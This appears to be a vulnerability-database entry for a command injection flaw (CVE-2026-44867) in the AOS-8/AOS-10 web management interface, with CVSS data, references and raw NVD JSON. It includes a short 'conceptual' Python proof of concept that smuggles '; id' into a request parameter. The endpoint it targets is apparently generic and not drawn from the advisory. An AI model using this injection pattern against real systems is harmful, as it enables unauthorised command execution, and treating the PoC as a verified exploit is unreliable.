CVE-2026-44867

Description

Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AOS-8 (具体版本未披露)

AOS-10 (具体版本未披露)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# Conceptual PoC for CVE-2026-44867
import requests

target_url = "https://<target-ip>/api/v1/system/command"
# Attacker needs High Privilege session cookie
cookies = {"session": "<admin-session-token>"}

# Payload to inject command (e.g., 'id')
payload = {"cmd": " legitimate_param; id"}

try:
    response = requests.post(target_url, data=payload, cookies=cookies, verify=False)
    if response.status_code == 200:
        print("[+] Command injection possibly successful!")
        print(response.text)
    else:
        print("[-] Failed to execute")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44867
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44867
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44867/
[4] VulDB https://vuldb.com/cve/CVE-2026-44867
[5] https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44867", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:45.350", "lastModified": "2026-05-12T20:16:45.350", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US", "source": "[email protected]"}]}}